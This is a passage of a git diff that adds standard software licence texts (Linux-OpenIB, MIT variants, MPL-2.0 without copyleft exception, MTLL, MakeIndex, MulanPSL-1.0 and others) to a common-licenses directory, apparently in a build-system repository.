+Dans la mesure où le concédant est un ministère, un organisme public ou une personne morale de droit public, créés en vertu d'une loi de l'Assemblée nationale du Québec, la licence est régie par le droit applicable au Québec et en cas de contestation, les tribunaux du Québec seront seuls compétents.
+
+La présente licence peut être distribuée sans conditions particulières. Toutefois, une version modifiée doit être distribuée sous un nom différent. Toute référence au Centre de services partagés du Québec, et, le cas échéant, ses ayant cause, doit être retirée, autre que celle permettant d'identifier la provenance de la licence.
diff --git a/meta/files/common-licenses/Linux-OpenIB b/meta/files/common-licenses/Linux-OpenIB
new file mode 100644
index 0000000000..03ccf61ccc
--- /dev/null
+++ b/meta/files/common-licenses/Linux-OpenIB
@@ -0,0 +1,18 @@
+Redistribution and use in source and binary forms, with or
+without modification, are permitted provided that the following
+conditions are met:
+
+- Redistributions of source code must retain the above copyright notice, this
+list of conditions and the following disclaimer.
+
+- Redistributions in binary form must reproduce the above copyright notice,
+this list of conditions and the following disclaimer in the documentation
+and/or other materials provided with the distribution.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.
diff --git a/meta/files/common-licenses/MIT-0 b/meta/files/common-licenses/MIT-0
new file mode 100644
index 0000000000..a4e9dc9061
--- /dev/null
+++ b/meta/files/common-licenses/MIT-0
@@ -0,0 +1,16 @@
+MIT No Attribution
+
+Copyright <YEAR> <COPYRIGHT HOLDER>
+
+Permission is hereby granted, free of charge, to any person obtaining a copy of this
+software and associated documentation files (the "Software"), to deal in the Software
+without restriction, including without limitation the rights to use, copy, modify,
+merge, publish, distribute, sublicense, and/or sell copies of the Software, and to
+permit persons to whom the Software is furnished to do so.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED,
+INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A
+PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT
+HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
+OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
+SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
diff --git a/meta/files/common-licenses/MIT-CMU b/meta/files/common-licenses/MIT-CMU
new file mode 100644
index 0000000000..2b11a7b08f
--- /dev/null
+++ b/meta/files/common-licenses/MIT-CMU
@@ -0,0 +1,7 @@
+<copyright notice>
+
+By obtaining, using, and/or copying this software and/or its associated documentation, you agree that you have read, understood, and will comply with the following terms and conditions:
+
+Permission to use, copy, modify, and distribute this software and its associated documentation for any purpose and without fee is hereby granted, provided that the above copyright notice appears in all copies, and that both that copyright notice and this permission notice appear in supporting documentation, and that the name of the copyright holder not be used in advertising or publicity pertaining to distribution of the software without specific, written permission.
+
+THE COPYRIGHT HOLDER DISCLAIM ALL WARRANTIES WITH REGARD TO THIS SOFTWARE, INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE COPYRIGHT HOLDER BE LIABLE FOR ANY SPECIAL, INDIRECT OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM THE LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
diff --git a/meta/files/common-licenses/MIT-Modern-Variant b/meta/files/common-licenses/MIT-Modern-Variant
new file mode 100644
index 0000000000..d5075a3c96
--- /dev/null
+++ b/meta/files/common-licenses/MIT-Modern-Variant
@@ -0,0 +1,17 @@
+Permission is hereby granted, without written agreement and without
+license or royalty fees, to use, copy, modify, and distribute this
+software and its documentation for any purpose, provided that the
+above copyright notice and the following two paragraphs appear in
+all copies of this software.
+
+IN NO EVENT SHALL THE COPYRIGHT HOLDER BE LIABLE TO ANY PARTY FOR
+DIRECT, INDIRECT, SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES
+ARISING OUT OF THE USE OF THIS SOFTWARE AND ITS DOCUMENTATION, EVEN
+IF THE COPYRIGHT HOLDER HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH
+DAMAGE.
+
+THE COPYRIGHT HOLDER SPECIFICALLY DISCLAIMS ANY WARRANTIES, INCLUDING,
+BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
+FITNESS FOR A PARTICULAR PURPOSE. THE SOFTWARE PROVIDED HEREUNDER IS
+ON AN "AS IS" BASIS, AND THE COPYRIGHT HOLDER HAS NO OBLIGATION TO
+PROVIDE MAINTENANCE, SUPPORT, UPDATES, ENHANCEMENTS, OR MODIFICATIONS.
diff --git a/meta/files/common-licenses/MIT-advertising b/meta/files/common-licenses/MIT-advertising
new file mode 100644
index 0000000000..4a991a734d
--- /dev/null
+++ b/meta/files/common-licenses/MIT-advertising
@@ -0,0 +1,7 @@
+Copyright (C) 2000-2008 Carsten Haitzler, Geoff Harrison and various contributors Copyright (C) 2004-2008 Kim Woelders
+
+Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all copies of the Software, its documentation and marketing & publicity materials, and acknowledgment shall be given in the documentation, materials and software packages that this Software was used.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
diff --git a/meta/files/common-licenses/MIT-enna b/meta/files/common-licenses/MIT-enna
new file mode 100644
index 0000000000..6d6dd6032d
--- /dev/null
+++ b/meta/files/common-licenses/MIT-enna
@@ -0,0 +1,9 @@
+Copyright (C) 2000 Carsten Haitzler and various contributors (see AUTHORS)
+
+Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all copies of the Software and its Copyright notices. In addition publicly documented acknowledgment must be given that this software has been used if no source code of this software is made available publicly. This includes acknowledgments in either Copyright notices, Manuals, Publicity and Marketing documents or any documentation provided with any product containing this software. This License does not apply to any software that links to the libraries provided by this software (statically or dynamically), but only to the software provided.
+
+Please see the COPYING.PLAIN for a plain-english explanation of this notice and it's intent.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
diff --git a/meta/files/common-licenses/MIT-feh b/meta/files/common-licenses/MIT-feh
new file mode 100644
index 0000000000..33412bad7c
--- /dev/null
+++ b/meta/files/common-licenses/MIT-feh
@@ -0,0 +1,5 @@
+Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all copies of the Software and its documentation and acknowledgment shall be given in the documentation and software packages that this Software was used.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
diff --git a/meta/files/common-licenses/MIT-open-group b/meta/files/common-licenses/MIT-open-group
new file mode 100644
index 0000000000..ff185d30ed
--- /dev/null
+++ b/meta/files/common-licenses/MIT-open-group
@@ -0,0 +1,23 @@
+Copyright <yyyy, yyyy> The Open Group
+
+Permission to use, copy, modify, distribute, and sell this software and
+its documentation for any purpose is hereby granted without fee,
+provided that the above copyright notice appear in all copies and that
+both that copyright notice and this permission notice appear in
+supporting documentation.
+
+The above copyright notice and this permission notice shall be included
+in all copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
+OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
+IN NO EVENT SHALL BE LIABLE FOR ANY CLAIM, DAMAGES
+OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR
+OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR
+THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+
+Except as contained in this notice, the name of The Open Group
+shall not be used in advertising or otherwise to promote the sale, use
+or other dealings in this Software without prior written authorization
+from The Open Group.
diff --git a/meta/files/common-licenses/MITNFA b/meta/files/common-licenses/MITNFA
new file mode 100644
index 0000000000..6d44edb3db
--- /dev/null
+++ b/meta/files/common-licenses/MITNFA
@@ -0,0 +1,7 @@
+Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
+
+Distributions of all or part of the Software intended to be used by the recipients as they would use the unmodified Software, containing modifications that substantially alter, remove, or disable functionality of the Software, outside of the documented configuration mechanisms provided by the Software, shall be modified such that the Original Author's bug reporting email addresses and urls are either replaced with the contact information of the parties responsible for the changes, or removed entirely.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
diff --git a/meta/files/common-licenses/MPL-2.0-no-copyleft-exception b/meta/files/common-licenses/MPL-2.0-no-copyleft-exception
new file mode 100644
index 0000000000..950a3e583f
--- /dev/null
+++ b/meta/files/common-licenses/MPL-2.0-no-copyleft-exception
@@ -0,0 +1,144 @@
+Mozilla Public License Version 2.0
+
+1. Definitions
+
+ 1.1. "Contributor" means each individual or legal entity that creates, contributes to the creation of, or owns Covered Software.
+
+ 1.2. "Contributor Version" means the combination of the Contributions of others (if any) used by a Contributor and that particular Contributor's Contribution.
+
+ 1.3. "Contribution" means Covered Software of a particular Contributor.
+
+ 1.4. "Covered Software" means Source Code Form to which the initial Contributor has attached the notice in Exhibit A, the Executable Form of such Source Code Form, and Modifications of such Source Code Form, in each case including portions thereof.
+
+ 1.5. "Incompatible With Secondary Licenses" means
+
+ (a) that the initial Contributor has attached the notice described in Exhibit B to the Covered Software; or
+
+ (b) that the Covered Software was made available under the terms of version 1.1 or earlier of the License, but not also under the terms of a Secondary License.
+
+ 1.6. "Executable Form" means any form of the work other than Source Code Form.
+
+ 1.7. "Larger Work" means a work that combines Covered Software with other material, in a separate file or files, that is not Covered Software.
+
+ 1.8. "License" means this document.
+
+ 1.9. "Licensable" means having the right to grant, to the maximum extent possible, whether at the time of the initial grant or subsequently, any and all of the rights conveyed by this License.
+
+ 1.10. "Modifications" means any of the following:
+
+ (a) any file in Source Code Form that results from an addition to, deletion from, or modification of the contents of Covered Software; or
+
+ (b) any new file in Source Code Form that contains any Covered Software.
+
+ 1.11. "Patent Claims" of a Contributor means any patent claim(s), including without limitation, method, process, and apparatus claims, in any patent Licensable by such Contributor that would be infringed, but for the grant of the License, by the making, using, selling, offering for sale, having made, import, or transfer of either its Contributions or its Contributor Version.
+
+ 1.12. "Secondary License" means either the GNU General Public License, Version 2.0, the GNU Lesser General Public License, Version 2.1, the GNU Affero General Public License, Version 3.0, or any later versions of those licenses.
+
+ 1.13. "Source Code Form" means the form of the work preferred for making modifications.
+
+ 1.14. "You" (or "Your") means an individual or a legal entity exercising rights under this License. For legal entities, "You" includes any entity that controls, is controlled by, or is under common control with You. For purposes of this definition, "control" means (a) the power, direct or indirect, to cause the direction or management of such entity, whether by contract or otherwise, or (b) ownership of more than fifty percent (50%) of the outstanding shares or beneficial ownership of such entity.
+
+2. License Grants and Conditions
+
+ 2.1. Grants
+ Each Contributor hereby grants You a world-wide, royalty-free, non-exclusive license:
+
+ (a) under intellectual property rights (other than patent or trademark) Licensable by such Contributor to use, reproduce, make available, modify, display, perform, distribute, and otherwise exploit its Contributions, either on an unmodified basis, with Modifications, or as part of a Larger Work; and
+
+ (b) under Patent Claims of such Contributor to make, use, sell, offer for sale, have made, import, and otherwise transfer either its Contributions or its Contributor Version.
+
+ 2.2. Effective Date
+ The licenses granted in Section 2.1 with respect to any Contribution become effective for each Contribution on the date the Contributor first distributes such Contribution.
+
+ 2.3. Limitations on Grant Scope
+ The licenses granted in this Section 2 are the only rights granted under this License. No additional rights or licenses will be implied from the distribution or licensing of Covered Software under this License. Notwithstanding Section 2.1(b) above, no patent license is granted by a Contributor:
+
+ (a) for any code that a Contributor has removed from Covered Software; or
+
+ (b) for infringements caused by: (i) Your and any other third party's modifications of Covered Software, or (ii) the combination of its Contributions with other software (except as part of its Contributor Version); or
+
+ (c) under Patent Claims infringed by Covered Software in the absence of its Contributions.
+
+ This License does not grant any rights in the trademarks, service marks, or logos of any Contributor (except as may be necessary to comply with the notice requirements in Section 3.4).
+
+ 2.4. Subsequent Licenses
+ No Contributor makes additional grants as a result of Your choice to distribute the Covered Software under a subsequent version of this License (see Section 10.2) or under the terms of a Secondary License (if permitted under the terms of Section 3.3).
+
+ 2.5. Representation
+ Each Contributor represents that the Contributor believes its Contributions are its original creation(s) or it has sufficient rights to grant the rights to its Contributions conveyed by this License.
+
+ 2.6. Fair Use
+ This License is not intended to limit any rights You have under applicable copyright doctrines of fair use, fair dealing, or other equivalents.
+
+ 2.7. Conditions
+ Sections 3.1, 3.2, 3.3, and 3.4 are conditions of the licenses granted in Section 2.1.
+
+3. Responsibilities
+
+ 3.1. Distribution of Source Form
+ All distribution of Covered Software in Source Code Form, including any Modifications that You create or to which You contribute, must be under the terms of this License. You must inform recipients that the Source Code Form of the Covered Software is governed by the terms of this License, and how they can obtain a copy of this License. You may not attempt to alter or restrict the recipients' rights in the Source Code Form.
+
+ 3.2. Distribution of Executable Form
+ If You distribute Covered Software in Executable Form then:
+
+ (a) such Covered Software must also be made available in Source Code Form, as described in Section 3.1, and You must inform recipients of the Executable Form how they can obtain a copy of such Source Code Form by reasonable means in a timely manner, at a charge no more than the cost of distribution to the recipient; and
+
+ (b) You may distribute such Executable Form under the terms of this License, or sublicense it under different terms, provided that the license for the Executable Form does not attempt to limit or alter the recipients' rights in the Source Code Form under this License.
+
+ 3.3. Distribution of a Larger Work
+ You may create and distribute a Larger Work under terms of Your choice, provided that You also comply with the requirements of this License for the Covered Software. If the Larger Work is a combination of Covered Software with a work governed by one or more Secondary Licenses, and the Covered Software is not Incompatible With Secondary Licenses, this License permits You to additionally distribute such Covered Software under the terms of such Secondary License(s), so that the recipient of the Larger Work may, at their option, further distribute the Covered Software under the terms of either this License or such Secondary License(s).
+
+ 3.4. Notices
+ You may not remove or alter the substance of any license notices (including copyright notices, patent notices, disclaimers of warranty, or limitations of liability) contained within the Source Code Form of the Covered Software, except that You may alter any license notices to the extent required to remedy known factual inaccuracies.
+
+ 3.5. Application of Additional Terms
+ You may choose to offer, and to charge a fee for, warranty, support, indemnity or liability obligations to one or more recipients of Covered Software. However, You may do so only on Your own behalf, and not on behalf of any Contributor. You must make it absolutely clear that any such warranty, support, indemnity, or liability obligation is offered by You alone, and You hereby agree to indemnify every Contributor for any liability incurred by such Contributor as a result of warranty, support, indemnity or liability terms You offer. You may include additional disclaimers of warranty and limitations of liability specific to any jurisdiction.
+
+4. Inability to Comply Due to Statute or Regulation
+If it is impossible for You to comply with any of the terms of this License with respect to some or all of the Covered Software due to statute, judicial order, or regulation then You must: (a) comply with the terms of this License to the maximum extent possible; and (b) describe the limitations and the code they affect. Such description must be placed in a text file included with all distributions of the Covered Software under this License. Except to the extent prohibited by statute or regulation, such description must be sufficiently detailed for a recipient of ordinary skill to be able to understand it.
+
+5. Termination
+
+ 5.1. The rights granted under this License will terminate automatically if You fail to comply with any of its terms. However, if You become compliant, then the rights granted under this License from a particular Contributor are reinstated (a) provisionally, unless and until such Contributor explicitly and finally terminates Your grants, and (b) on an ongoing basis, if such Contributor fails to notify You of the non-compliance by some reasonable means prior to 60 days after You have come back into compliance. Moreover, Your grants from a particular Contributor are reinstated on an ongoing basis if such Contributor notifies You of the non-compliance by some reasonable means, this is the first time You have received notice of non-compliance with this License from such Contributor, and You become compliant prior to 30 days after Your receipt of the notice.
+
+ 5.2. If You initiate litigation against any entity by asserting a patent infringement claim (excluding declaratory judgment actions, counter-claims, and cross-claims) alleging that a Contributor Version directly or indirectly infringes any patent, then the rights granted to You by any and all Contributors for the Covered Software under Section 2.1 of this License shall terminate.
+
+ 5.3. In the event of termination under Sections 5.1 or 5.2 above, all end user license agreements (excluding distributors and resellers) which have been validly granted by You or Your distributors under this License prior to termination shall survive termination.
+
+6. Disclaimer of Warranty
+Covered Software is provided under this License on an "as is" basis, without warranty of any kind, either expressed, implied, or statutory, including, without limitation, warranties that the Covered Software is free of defects, merchantable, fit for a particular purpose or non-infringing. The entire risk as to the quality and performance of the Covered Software is with You. Should any Covered Software prove defective in any respect, You (not any Contributor) assume the cost of any necessary servicing, repair, or correction. This disclaimer of warranty constitutes an essential part of this License. No use of any Covered Software is authorized under this License except under this disclaimer.
+
+7. Limitation of Liability
+Under no circumstances and under no legal theory, whether tort (including negligence), contract, or otherwise, shall any Contributor, or anyone who distributes Covered Software as permitted above, be liable to You for any direct, indirect, special, incidental, or consequential damages of any character including, without limitation, damages for lost profits, loss of goodwill, work stoppage, computer failure or malfunction, or any and all other commercial damages or losses, even if such party shall have been informed of the possibility of such damages. This limitation of liability shall not apply to liability for death or personal injury resulting from such party's negligence to the extent applicable law prohibits such limitation. Some jurisdictions do not allow the exclusion or limitation of incidental or consequential damages, so this exclusion and limitation may not apply to You.
+
+8. Litigation
+Any litigation relating to this License may be brought only in the courts of a jurisdiction where the defendant maintains its principal place of business and such litigation shall be governed by laws of that jurisdiction, without reference to its conflict-of-law provisions. Nothing in this Section shall prevent a party's ability to bring cross-claims or counter-claims.
+
+9. Miscellaneous
+This License represents the complete agreement concerning the subject matter hereof. If any provision of this License is held to be unenforceable, such provision shall be reformed only to the extent necessary to make it enforceable. Any law or regulation which provides that the language of a contract shall be construed against the drafter shall not be used to construe this License against a Contributor.
+
+10. Versions of the License
+
+ 10.1. New Versions
+ Mozilla Foundation is the license steward. Except as provided in Section 10.3, no one other than the license steward has the right to modify or publish new versions of this License. Each version will be given a distinguishing version number.
+
+ 10.2. Effect of New Versions
+ You may distribute the Covered Software under the terms of the version of the License under which You originally received the Covered Software, or under the terms of any subsequent version published by the license steward.
+
+ 10.3. Modified Versions
+ If you create software not governed by this License, and you want to create a new license for such software, you may create and use a modified version of this License if you rename the license and remove any references to the name of the license steward (except to note that such modified license differs from this License).
+
+ 10.4. Distributing Source Code Form that is Incompatible With Secondary Licenses
+ If You choose to distribute Source Code Form that is Incompatible With Secondary Licenses under the terms of this version of the License, the notice described in Exhibit B of this License must be attached.
+
+Exhibit A - Source Code Form License Notice
+
+ This Source Code Form is subject to the terms of the Mozilla Public License, v. 2.0. If a copy of the MPL was not distributed with this file, You can obtain one at http://mozilla.org/MPL/2.0/.
+
+If it is not possible or desirable to put the notice in a particular file, then You may include the notice in a location (such as a LICENSE file in a relevant directory) where a recipient would be likely to look for such a notice.
+
+You may add additional accurate notices of copyright ownership.
+
+Exhibit B - "Incompatible With Secondary Licenses" Notice
+
+ This Source Code Form is "Incompatible With Secondary Licenses", as defined by the Mozilla Public License, v. 2.0.
diff --git a/meta/files/common-licenses/MTLL b/meta/files/common-licenses/MTLL
new file mode 100644
index 0000000000..0af2b318fb
--- /dev/null
+++ b/meta/files/common-licenses/MTLL
@@ -0,0 +1,24 @@
+Software License for MTL
+
+Copyright (c) 2007 The Trustees of Indiana University.
+ 2008 Dresden University of Technology and the Trustees of Indiana University.
+ 2010 SimuNova UG (haftungsbeschränkt), www.simunova.com.
+All rights reserved.
+Authors: Peter Gottschling and Andrew Lumsdaine
+
+This file is part of the Matrix Template Library
+
+Dresden University of Technology -- short TUD -- and Indiana University -- short IU -- have the exclusive rights to license this product under the following license.
+
+Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
+ 1. All redistributions of source code must retain the above copyright notice, the list of authors in the original source code, this list of conditions and the disclaimer listed in this license;
+ 2. All redistributions in binary form must reproduce the above copyright notice, this list of conditions and the disclaimer listed in this license in the documentation and/or other materials provided with the distribution;
+ 3. Any documentation included with all redistributions must include the following acknowledgement:
+ "This product includes software developed at the University of Notre Dame, the Pervasive Technology Labs at Indiana University, and Dresden University of Technology. For technical information contact Andrew Lumsdaine at the Pervasive Technology Labs at Indiana University. For administrative and license questions contact the Advanced Research and Technology Institute at 1100 Waterway Blvd. Indianapolis, Indiana 46202, phone 317-274-5905, fax 317-274-5902."
+ Alternatively, this acknowledgement may appear in the software itself, and wherever such third-party acknowledgments normally appear.
+ 4. The name "MTL" shall not be used to endorse or promote products derived from this software without prior written permission from IU or TUD. For written permission, please contact Indiana University Advanced Research & Technology Institute.
+ 5. Products derived from this software may not be called "MTL", nor may "MTL" appear in their name, without prior written permission of Indiana University Advanced Research & Technology Institute.
+
+TUD and IU provide no reassurances that the source code provided does not infringe the patent or any other intellectual property rights of any other entity. TUD and IU disclaim any liability to any recipient for claims brought by any other entity based on infringement of intellectual property rights or otherwise.
+
+LICENSEE UNDERSTANDS THAT SOFTWARE IS PROVIDED "AS IS" FOR WHICH NO WARRANTIES AS TO CAPABILITIES OR ACCURACY ARE MADE. DRESDEN UNIVERSITY OF TECHNOLOGY AND INDIANA UNIVERSITY GIVE NO WARRANTIES AND MAKE NO REPRESENTATION THAT SOFTWARE IS FREE OF INFRINGEMENT OF THIRD PARTY PATENT, COPYRIGHT, OR OTHER PROPRIETARY RIGHTS. DRESDEN UNIVERSITY OF TECHNOLOGY AND INDIANA UNIVERSITY MAKE NO WARRANTIES THAT SOFTWARE IS FREE FROM "BUGS", "VIRUSES", "TROJAN HORSES", "TRAP DOORS", "WORMS", OR OTHER HARMFUL CODE. LICENSEE ASSUMES THE ENTIRE RISK AS TO THE PERFORMANCE OF SOFTWARE AND/OR ASSOCIATED MATERIALS, AND TO THE PERFORMANCE AND VALIDITY OF INFORMATION GENERATED USING SOFTWARE.
diff --git a/meta/files/common-licenses/MakeIndex b/meta/files/common-licenses/MakeIndex
new file mode 100644
index 0000000000..c345384298
--- /dev/null
+++ b/meta/files/common-licenses/MakeIndex
@@ -0,0 +1,19 @@
+MakeIndex Distribution Notice
+
+11/11/1989
+
+Copyright (C) 1989 by Chen & Harrison International Systems, Inc.
+Copyright (C) 1988 by Olivetti Research Center
+Copyright (C) 1987 by Regents of the University of California
+
+Author:
+ Pehong Chen (phc@renoir.berkeley.edu)
+ Chen & Harrison International Systems, Inc.
+ Palo Alto, California
+ USA
+
+Permission is hereby granted to make and distribute original copies of this program provided that the copyright notice and this permission notice are preserved and provided that the recipient is not asked to waive or limit his right to redistribute copies as allowed by this permission notice and provided that anyone who receives an executable form of this program is granted access to a machine-readable form of the source code for this program at a cost not greater than reasonable reproduction, shipping, and handling costs. Executable forms of this program distributed without the source code must be accompanied by a conspicuous copy of this permission notice and a statement that tells the recipient how to obtain the source code.
+
+Permission is granted to distribute modified versions of all or part of this program under the conditions above with the additional requirement that the entire modified work must be covered by a permission notice identical to this permission notice. Anything distributed with and usable only in conjunction with something derived from this program, whose useful purpose is to extend or adapt or add capabilities to this program, is to be considered a modified version of this program under the requirement above. Ports of this program to other systems not supported in the distribution are also considered modified versions. All modified versions should be reported back to the author.
+
+This program is distributed with no warranty of any sort. No contributor accepts responsibility for the consequences of using this program or for whether it serves any particular purpose.
diff --git a/meta/files/common-licenses/MulanPSL-1.0 b/meta/files/common-licenses/MulanPSL-1.0
new file mode 100644
index 0000000000..8d8fae9511
--- /dev/null
+++ b/meta/files/common-licenses/MulanPSL-1.0
@@ -0,0 +1,116 @@
+木兰宽松许可证, 第1版
+
+木兰宽松许可证, 第1版
+
+2019年8月 http://license.coscl.org.cn/MulanPSL
+
+您对“软件”的复制、使用、修改及分发受木兰宽松许可证,第1版(“本许可证”)的如下条款的约束:
+
+0. 定义
+
+“软件”是指由“贡献”构成的许可在“本许可证”下的程序和相关文档的集合。
+
+“贡献者”是指将受版权法保护的作品许可在“本许可证”下的自然人或“法人实体”。
+
+“法人实体”是指提交贡献的机构及其“关联实体”。
+
+“关联实体”是指,对“本许可证”下的一方而言,控制、受控制或与其共同受控制的机构,此处的控制是指有受控方或共同受控方至少50%直接或间接的投票权、资金或其他有价证券。
+
+“贡献”是指由任一“贡献者”许可在“本许可证”下的受版权法保护的作品。
+
+1. 授予版权许可
+
+每个“贡献者”根据“本许可证”授予您永久性的、全球性的、免费的、非独占的、不可撤销的版权许可,您可以复制、使用、修改、分发其“贡献”,不论修改与否。
+
+2. 授予专利许可
+
+每个“贡献者”根据“本许可证”授予您永久性的、全球性的、免费的、非独占的、不可撤销的(根据本条规定撤销除外)专利许可,供您制造、委托制造、使用、许诺销售、销售、进口其“贡献”或以其他方式转移其“贡献”。前述专利许可仅限于“贡献者”现在或将来拥有或控制的其“贡献”本身或其“贡献”与许可“贡献”时的“软件”结合而将必然会侵犯的专利权利要求,不包括仅因您或他人修改“贡献”或其他结合而将必然会侵犯到的专利权利要求。如您或您的“关联实体”直接或间接地(包括通过代理、专利被许可人或受让人),就“软件”或其中的“贡献”对任何人发起专利侵权诉讼(包括反诉或交叉诉讼)或其他专利维权行动,指控其侵犯专利权,则“本许可证”授予您对“软件”的专利许可自您提起诉讼或发起维权行动之日终止。
+
+3. 无商标许可
+
+“本许可证”不提供对“贡献者”的商品名称、商标、服务标志或产品名称的商标许可,但您为满足第4条规定的声明义务而必须使用除外。
+
+4. 分发限制
+
+您可以在任何媒介中将“软件”以源程序形式或可执行形式重新分发,不论修改与否,但您必须向接收者提供“本许可证”的副本,并保留“软件”中的版权、商标、专利及免责声明。
+
+5. 免责声明与责任限制
+
+“软件”及其中的“贡献”在提供时不带任何明示或默示的担保。在任何情况下,“贡献者”或版权所有者不对任何人因使用“软件”或其中的“贡献”而引发的任何直接或间接损失承担责任,不论因何种原因导致或者基于何种法律理论,即使其曾被建议有此种损失的可能性。
+
+条款结束
+
+如何将木兰宽松许可证,第1版,应用到您的软件
+
+如果您希望将木兰宽松许可证,第1版,应用到您的新软件,为了方便接收者查阅,建议您完成如下三步:
+
+1, 请您补充如下声明中的空白,包括软件名、软件的首次发表年份以及您作为版权人的名字;
+
+2, 请您在软件包的一级目录下创建以“LICENSE”为名的文件,将整个许可证文本放入该文件中;
+
+3, 请将如下声明文本放入每个源文件的头部注释中。
+
+Copyright (c) [2019] [name of copyright holder]
+[Software Name] is licensed under the Mulan PSL v1.
+You can use this software according to the terms and conditions of the Mulan PSL v1.
+You may obtain a copy of Mulan PSL v1 at:
+ http://license.coscl.org.cn/MulanPSL
